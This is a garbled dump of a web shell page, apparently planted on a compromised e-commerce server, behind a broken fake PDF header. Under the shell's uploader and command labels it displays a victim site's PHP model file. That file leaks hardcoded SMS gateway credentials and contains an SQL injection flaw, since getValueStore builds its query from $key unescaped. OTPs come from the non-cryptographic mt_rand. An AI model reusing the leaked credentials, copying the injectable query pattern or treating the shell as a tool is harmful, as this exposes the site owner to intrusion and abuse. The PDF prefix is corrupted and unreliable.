%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardacorporation.net/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardacorporation.net/application/models/Public_model.php
<?php

class Public_model extends CI_Model
{

    private $showOutOfStock;
    private $showInSliderProducts;
    private $multiVendor;

    public function __construct()
    {
        parent::__construct();
        
    }

	public function getSeo($page)
    {
        $this->db->where('slug', $page);
      
        $query = $this->db->get('su_seo_pages');
        $arr = array();
        if ($query !== false) {
            foreach ($query->result_array() as $row) {
                $arr['title'] = $row['title'];
                $arr['description'] = $row['description'];
                $arr['keywords'] = $row['keywords'];
            }
        }
        return $arr;
    }
	
    
    public function getDynPagesLangs($dynPages)
    {
        if (!empty($dynPages)) {
            $this->db->join('textual_pages_translations', 'textual_pages_translations.for_id = active_pages.id', 'left');
            $this->db->where_in('active_pages.name', $dynPages);
            //$this->db->where('textual_pages_tanslations.abbr', MY_LANGUAGE_ABBR);
            $result = $this->db->select('textual_pages_translations.name as lname, active_pages.name as pname')->get('active_pages');
            $ar = array();
            $i = 0;
            foreach ($result->result_array() as $arr) {
                $ar[$i]['lname'] = $arr['lname'];
                $ar[$i]['pname'] = $arr['pname'];
                $i++;
            }
            return $ar;
        } else
            return $dynPages;
    }

    public function getOnePage($page)
    {
        $this->db->join('textual_pages_translations', 'textual_pages_translations.for_id = active_pages.id', 'left');
        $this->db->where('active_pages.name', $page);
        $result = $this->db->select('textual_pages_translations.description as content, textual_pages_translations.name')->get('active_pages');
        return $result->row_array();
    }

    	
	/*
	* Function: removeAllItemsFromCart
	* Parameters: 
	* Purpose:
	* CreatedOn:
	* CreatedBy:
	* ModifiedOn:
	* Modified By:
	* Return:
	*/
	
	public function removeAllItemsFromCart($table_name="shopping_cart", $user_id){
		
		if($user_id>0){
			
			$this->db->where('user_id', $user_id);
			$this->db->delete($table_name); 
			
			return true;
		}
	}
	
	/*
	* Function: removeItemsFromCart
	* Parameters: 
	* Purpose:
	* CreatedOn:
	* CreatedBy:
	* ModifiedOn:
	* Modified By:
	* Return:
	*/
	
	
	public function getPublicDetails($table_name, $field, $value, $return_type = '')
    {
		if(!empty($field) && $value>0){ 
		
			$this->db->where($field, $value);
			$query = $this->db->get($table_name);
			if($return_type=="array"){
				return $query->result_array();
			} else {
				return $query->row_array();
			}
			
			
		} else {
			
			return '101';
			
		}
    }
	
	/*
	* fruntion : countNumRows
	*/
	
	public function countNumRows($table_name, $field, $value)
	{
		return $this->db->where($field, $value)->where('status', '1')->count_all_results($table_name);
	}
	
	
  /*
	* Function: ExactBrowserName
	* return : browser name
	*/
	function ExactBrowserName() {

		$ExactBrowserNameUA=$_SERVER['HTTP_USER_AGENT'];

		if (strpos(strtolower($ExactBrowserNameUA), "safari/") and strpos(strtolower($ExactBrowserNameUA), "opr/")) {
			// OPERA
			$ExactBrowserNameBR="Opera";
		} elseIf (strpos(strtolower($ExactBrowserNameUA), "safari/") and strpos(strtolower($ExactBrowserNameUA), "chrome/")) {
			// CHROME
			$ExactBrowserNameBR="Chrome";
		} elseIf (strpos(strtolower($ExactBrowserNameUA), "msie")) {
			// INTERNET EXPLORER
			$ExactBrowserNameBR="Internet Explorer";
		} elseIf (strpos(strtolower($ExactBrowserNameUA), "firefox/")) {
			// FIREFOX
			$ExactBrowserNameBR="Firefox";
		} elseIf (strpos(strtolower($ExactBrowserNameUA), "safari/") and strpos(strtolower($ExactBrowserNameUA), "opr/")==false and strpos(strtolower($ExactBrowserNameUA), "chrome/")==false) {
			// SAFARI
			$ExactBrowserNameBR="Safari";
		} else {
			// OUT OF DATA
			$ExactBrowserNameBR="OUT OF DATA";
		};

		return $ExactBrowserNameBR;
	}
	
	function getOTP($size = 6)
	{
		$random_number='';
		$count=0;
		while ($count < $size ) 
			{
				$random_digit = mt_rand(0, 9);
				$random_number .= $random_digit;
				$count++;
			}
		return $random_number;  
	}
	
	function sendSMS($mobile_number, $sms_content){
		
		$feedid    = 363901;
		$senderid = urlencode('shardacom_trans');
		$username = "9015129267";
		$password = "wgtpt";
		$api_url = 'http://bulkpush.mytoday.com/BulkSms/SingleMsgApi';
		
		if(strlen($mobile_number)>=10){
			$params_url = '';
			//send OTP to user
			$params_url = 'feedid='.$feedid.'&senderid='.$senderid.'&username='.$username.'&password='.$password.'&To='.$mobile_number.'&Text='.$sms_content;
			$otpresponse = $this->sendOTP($api_url, $params_url); // Send OTP
			
			return $otpresponse;
			
		}
	}
	
	function sendOTP($url, $params_url){

		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_POST,1);
		curl_setopt($ch, CURLOPT_POSTFIELDS,$params_url);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
		curl_setopt($ch, CURLOPT_HEADER,0);
		// DO NOT RETURN HTTP HEADERS
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		// RETURN THE CONTENTS OF THE CALL
		$return_val = curl_exec($ch);
		
		$response = true;
		//Print error if any
		if(curl_errno($ch))
		{
		$response =  'error:' . curl_error($ch);
		}
		curl_close($ch);
		
		return $response;
   }
   /*
	* function: getValueStore
	*/
	// public function getValueStore($key, $value){
					
	// 		$query = $this->db->select('id, thekey, value')->get('value_store');
	// 		$results = array();
	// 		foreach($query->result_array() as $value) {
	// 			$results[$value['thekey']] = $value['value'];
	// 		}
	// 		return $results;
		
	// }
	
	/* 
	* setValueStore
	*/
	public function setValueStore($key, $value)
    {
        $this->db->where('thekey', $key);
        $query = $this->db->get('value_store');
        if ($query->num_rows() > 0) {
            $this->db->where('thekey', $key);
            if (!$this->db->update('value_store', array('value' => $value))) {
                log_message('error', print_r($this->db->error(), true));
                show_error(lang('database_error'));
            }
        } else {
            if (!$this->db->insert('value_store', array('value' => $value, 'thekey' => $key))) {
                log_message('error', print_r($this->db->error(), true));
                show_error(lang('database_error'));
            }
        }
    }

    public function getValueStore($key)
    {
        $query = $this->db->query("SELECT value FROM value_store WHERE thekey = '$key'");
        $img = $query->row_array();
        return $img['value'];
    }
	
	
	
	
	
}

Kontol Shell Bypass